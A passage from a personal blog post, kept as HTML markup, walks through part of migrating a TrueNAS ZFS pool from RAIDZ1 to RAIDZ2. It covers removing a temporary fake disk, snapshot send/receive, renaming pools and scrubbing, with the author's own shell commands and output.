&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tank ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> raidz2-0 ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VGGGYUEG ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VRGMRVJK ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VRGNZU9K ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-TOSHIBA_HDWG480_71R0A14YFR0H ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /tmp/fake-drive.img ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>errors: No known data errors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ zpool list &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME SIZE ALLOC FREE CKPOINT EXPANDSZ FRAG CAP DEDUP HEALTH ALTROOT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tank 36.4T 1.27M 36.4T - - 0% 0% 1.00x ONLINE -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I also see my new RAIDZ2 pool from the TrueNAS web UI, which reports 21.4 TiB (23.5 TB) of usable capacity:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/created-tank.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/created-tank_hu_941b98d99d1df6e5.webp 300w, https://mtlynch.io/raidz1-to-raidz2/created-tank_hu_da33fc70a31577e0.webp 600w, https://mtlynch.io/raidz1-to-raidz2/created-tank.webp 756w'
 src="https://mtlynch.io/raidz1-to-raidz2/created-tank.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My new RAIDZ2 pool is visible from the TrueNAS web UI.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="step-10-remove-the-fake-disk">Step 10: Remove the fake disk&lt;/h3>
&lt;p>The fake disk is just a file in my &lt;code>/tmp&lt;/code> directory, and it can&amp;rsquo;t really store the 8 TB it claims it can hold. To prevent strange behavior when the fake file exhausts the space on my &lt;code>/tmp&lt;/code> filesystem, I immediately remove the fake disk from my RAIDZ2 pool:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zpool offline &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FAKE_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> rm &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">FAKE_DISK&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As expected, ZFS utilities report that my RAIDZ2 pool is degraded, but it can tolerate up to two disk failures, so a single offline disk is fine:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zpool status &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool: tank
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> state: DEGRADED
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>status: One or more devices has been taken offline by the administrator.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Sufficient replicas exist &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> the pool to &lt;span style="color:#6ab825;font-weight:bold">continue&lt;/span> functioning in a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> degraded state.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>action: Online the device using &lt;span style="color:#ed9d13">&amp;#39;zpool online&amp;#39;&lt;/span> or replace the device with
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;zpool replace&amp;#39;&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>config:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> NAME STATE READ WRITE CKSUM
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tank DEGRADED &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> raidz2-0 DEGRADED &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VGGGYUEG ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VRGMRVJK ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-HGST_HUS728T8TALE6L1_VRGNZU9K ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ata-TOSHIBA_HDWG480_71R0A14YFR0H ONLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /tmp/fake-drive.img OFFLINE &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span> &lt;span style="color:#3677a9">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>errors: No known data errors
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ zpool list &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME SIZE ALLOC FREE CKPOINT EXPANDSZ FRAG CAP DEDUP HEALTH ALTROOT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tank 36.4T 1.41M 36.4T - - 0% 0% 1.00x DEGRADED -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="migration-2.svg" alt="">&lt;/p>
&lt;h3 id="step-11-migrate-data-to-my-new-pool">Step 11: Migrate data to my new pool&lt;/h3>
&lt;p>My new RAIDZ2 pool is online with 23.5 TB of capacity, so I move my 18 TB of data from my old RAIDZ1 pool.&lt;/p>
&lt;p>To transfer everything, I snapshot my entire RAIDZ1 pool and then send the snapshot from my old pool to my new pool:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SNAPSHOT_1&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;migrate1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs snapshot -r &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_1&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> zfs send --verbose --raw --replicate &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_1&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | zfs receive -v -F &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="migration-3.svg" alt="">&lt;/p>
&lt;p>Strangely, the command completes without reporting any errors, but I notice some datasets missing on my RAIDZ2 pool.&lt;/p>
&lt;h4 id="troubleshooting-my-migration">Troubleshooting my migration&lt;/h4>
&lt;p>To complete the data migration, I send the missing datasets one-by-one:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">DATASET&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;photos&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zfs send --verbose --raw --replicate --skip-missing &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_1&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | zfs receive -v -F -s &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When I mount the pool at &lt;code>/mnt/tank/photos&lt;/code> the directory still shows up as empty.&lt;/p>
&lt;p>I try &lt;code>zpool export&lt;/code> and &lt;code>zpool import&lt;/code>, but there was no change.&lt;/p>
&lt;p>Finally, I try rebooting my whole TrueNAS server, which magically fixes it. I&amp;rsquo;m able to see my files in &lt;code>/mnt/tank/photos&lt;/code>.&lt;/p>
&lt;h4 id="resuming-interrupted-transfers">Resuming interrupted transfers&lt;/h4>
&lt;p>From interrupting large transfers, I discover that ZFS, by default, does not send data with support for resuming interruptions. To resume, I have to do this complicated dance of retrieving a &amp;ldquo;resume token&amp;rdquo; and then including that in my &lt;code>zfs send&lt;/code> command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RESUME_TOKEN&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>zfs get -H -o value receive_resume_token &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs send -v -t &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RESUME_TOKEN&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> | zfs receive -v -s &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The output claims it parsed the resume token successfully, but the progress always resets to zero, so I don&amp;rsquo;t know if this command actually worked.&lt;/p>
&lt;h4 id="finalizing-the-migration">Finalizing the migration&lt;/h4>
&lt;p>Because the migration took several hours, I make a new snapshot and perform an incremental send of all the data that&amp;rsquo;s changed since my previous snapshot:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SNAPSHOT_2&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;migrate2&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs snapshot -r &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_2&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zfs send -v &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -i &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_1&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SNAPSHOT_2&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | zfs receive -v &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">DATASET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="step-12-swap-pool-names">Step 12: Swap pool names&lt;/h3>
&lt;p>I originally thought I&amp;rsquo;d switch to &lt;code>tank&lt;/code> as my new pool name, but I realized that TrueNAS ties network shares and cron jobs to the pool name. If I renamed my main pool from &lt;code>pool1&lt;/code> to &lt;code>tank&lt;/code>, I&amp;rsquo;d have to recreate or edit a bunch of network shares and cron jobs manually with the new name.&lt;/p>
&lt;p>The easier solution is to let my new pool take over the name of my old pool, so I choose that.&lt;/p>
&lt;p>I first try to export the pools to take them offline but various TrueNAS system services block me from doing that. So, I force a bunch of services offline:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo systemctl stop k3s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo umount -l /var/lib/kubelet
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl stop smbd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl stop nmbd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl stop winbind
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl stop middlewared
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl stop netdata
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From there, I&amp;rsquo;m free to offline the pools to perform the renames:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Rename my old pool with the suffix `-old`.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool &lt;span style="color:#24909d">export&lt;/span> -f &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> zpool &lt;span style="color:#24909d">export&lt;/span> -f &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> zpool import &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-old&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Rename my new pool to my old pool&amp;#39;s name.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zpool import &lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NEWPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span> &lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs &lt;span style="color:#24909d">set&lt;/span> &lt;span style="color:#40ffff">mountpoint&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/mnt/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">OLDPOOL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After that, I restart all the services I had stopped:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo systemctl start middlewared
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl start smbd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl start nmbd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl start winbind
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl start netdata
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo systemctl start k3s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But that doesn&amp;rsquo;t work, so I reboot again.&lt;/p>
&lt;p>After rebooting, TrueNAS recognizes &lt;code>pool1&lt;/code> as my new 5x8TB RAIDZ2 pool:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/dashboard-after-import.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/dashboard-after-import_hu_3616f641d5d88832.webp 300w, https://mtlynch.io/raidz1-to-raidz2/dashboard-after-import_hu_585668d6110be820.webp 600w, https://mtlynch.io/raidz1-to-raidz2/dashboard-after-import_hu_f62ec22ca98b5355.webp 800w, https://mtlynch.io/raidz1-to-raidz2/dashboard-after-import.webp 1158w'
 src="https://mtlynch.io/raidz1-to-raidz2/dashboard-after-import.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="step-13-scrub-the-new-raidz2-pool">Step 13: Scrub the new RAIDZ2 pool&lt;/h3>
&lt;p>I&amp;rsquo;m not sure if it&amp;rsquo;s necessary, but I run a scrub on my new pool for some extra confidence about my data integrity before I destroy my old pool. The scrub completes with no errors:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 594px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/scrub-complete.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 594px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/scrub-complete_hu_aeff808b6169360e.webp 300w, https://mtlynch.io/raidz1-to-raidz2/scrub-complete.webp 592w'
 src="https://mtlynch.io/raidz1-to-raidz2/scrub-complete.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="step-14-destroy-my-old-pool">Step 14: Destroy my old pool&lt;/h3>
&lt;p>Now, the scariest part: destroying my old pool. I blow it away with &lt;code>zpool destroy&lt;/code>:&lt;/p>
